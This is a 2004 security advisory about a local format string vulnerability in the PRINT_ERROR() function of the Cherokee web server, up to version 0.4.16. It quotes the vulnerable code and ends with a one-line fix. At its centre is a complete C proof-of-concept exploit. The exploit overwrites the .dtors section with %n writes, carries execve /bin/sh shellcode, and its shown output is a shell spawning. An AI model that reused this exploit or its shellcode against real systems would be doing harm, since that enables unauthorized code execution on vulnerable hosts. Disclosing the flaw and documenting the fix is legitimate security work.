Format String in Cherokee
-------------------------------------------------
No System Group - Advisory #3 - 17/04/04
-------------------------------------------------
Program: Cherokee Web Server
Homepage: http://www.0x50.org
Vulnerable Versions: Cherokee 0.4.16 and prior
Risk: Low / Medium
Impact: Local Format String Vulnerability
-------------------------------------------------
- DESCRIPTION
-------------------------------------------------
Cherokee is a tiny, very fast, lightweight Web
server. It is implemented entirely in C, and has
no dependencies beyond a standard C library. It
is embeddable, extensible with plug-ins, and supports
on-the-fly configuration by reading files or strings.
More informations at: http://www.0x50.org
- DETAILS
-------------------------------------------------
Cherokee Web Server is affected by a format string
bug in the PRINT_ERROR() function to 66 lines of
common.c code:
--- common.c ---
55: void
56: PRINT_ERROR (const char *format, ...)
57: {
58: va_list arg_list;
59: CHEROKEE_TEMP(tmp, 2048);
60:
61: va_start(arg_list, format);
62: vsnprintf (tmp, tmp_size, format, arg_list);
63: va_end(arg_list);
64:
65: fprintf (stderr, "%s", tmp);
66: syslog (LOG_ERR, tmp); // The bug
67: }
--- common.c ---
We can show some parts of the stack memory by using a format string loke
this:
coki@servidor:~$ cherokee -C AAAA%08x
Can't read the configuration file: 'AAAA%08x'
coki@servidor:~$ tail -n 1 /var/log/syslog
Apr 17 15:03:25 servidor cherokee: Can't read the configuration file:
'AAAA0804b780'
coki@servidor:~$
- EXPLOIT
-------------------------------------------------
---------------- cherokee_exp.c -----------------
/* cherokee_exp.c
Cherokee Web Server Format String Vulnerability
Cherokee <= 0.4.16 local exploit (Proof of Concept)
Tested in Slackware 9.0 and Slackware 9.1.0
by CoKi <coki@xxxxxxxxxxxxxxx>
No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <string.h>
#define PATH "/usr/local/bin/cherokee"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"
unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";
int check(unsigned long addr);
int main(int argc, char *argv[]) {
int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL};
int bufaddr = 0xbffffffa - strlen(shellcode) -
strlen("/usr/local/bin/cherokee");
/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = popen(temp, "r");
if(fscanf(f, " %08x", &dtorsaddr) != 1) {
pclose(f);
printf("Cannot find .dtors address\n");
exit(1);
}
pclose(f);
dtorsaddr = dtorsaddr + 4;
printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n");
printf(" by CoKi <coki@xxxxxxxxxxxxxxx>\n\n");
printf(" shellcode address = %.8p\n", bufaddr);
printf(" .dtors address = %.8p\n\n", dtorsaddr);
bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));
/* adding .dtors address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &dtorsaddr);
strncat(buffer, temp, 4);
dtorsaddr++;
}
/* convert buffer address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);
bal1 = (bufaddr & 0xff000000) >> 24;
bal2 = (bufaddr & 0x00ff0000) >> 16;
bal3 = (bufaddr & 0x0000ff00) >> 8;
bal4 = (bufaddr & 0x000000ff);
cn1 = bal4 - 16 - 36 - 88 - 2;
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);
memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);
sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
"%%08x%%08x%%08x%%08x%%08x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n\x90\x90\x90\x90"
,nop1, nop2, nop3, nop4);
strcat(buffer, temp);
execle(PATH, "cherokee", "-C", buffer, NULL, env);
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;
return addr;
}
---------------- cherokee_exp.c -----------------
coki@servidor:~$ make cherokee_exp
coki@servidor:~$ ./cherokee_exp
Cherokee <= 0.4.16 local exploit (Proof of Concept)
by CoKi <coki@xxxxxxxxxxxxxxx>
shellcode address = 0xbfffffb6
.dtors address = 0x0804c590
Can't read the configuration file: '....%08x%08x%08x%
08x%08x%08x%08x%08x%08x%08x%08x......................
.....................................................
.....................................................
.................'
sh-2.05b$
This exploit does not give a root shell :(
Tested in Slackware Linux 9.0.0 and 9.1.0
- SOLUTIONS
-------------------------------------------------
Change the PRINT_ERROR() function of common.c
code:
--- common.c ---
55: void
56: PRINT_ERROR (const char *format, ...)
57: {
58: va_list arg_list;
59: CHEROKEE_TEMP(tmp, 2048);
60:
61: va_start(arg_list, format);
62: vsnprintf (tmp, tmp_size, format, arg_list);
63: va_end(arg_list);
64:
65: fprintf (stderr, "%s", tmp);
66: syslog (LOG_ERR, "%s", tmp); // It's ok
67: }
--- common.c ---
- REFERENCES
-------------------------------------------------
http://www.nosystem.com.ar/advisories/advisory-03.txt
- CREDITS
-------------------------------------------------
Discovered by CoKi <coki@xxxxxxxxxxxxxxx>
No System Group - http://www.nosystem.com.ar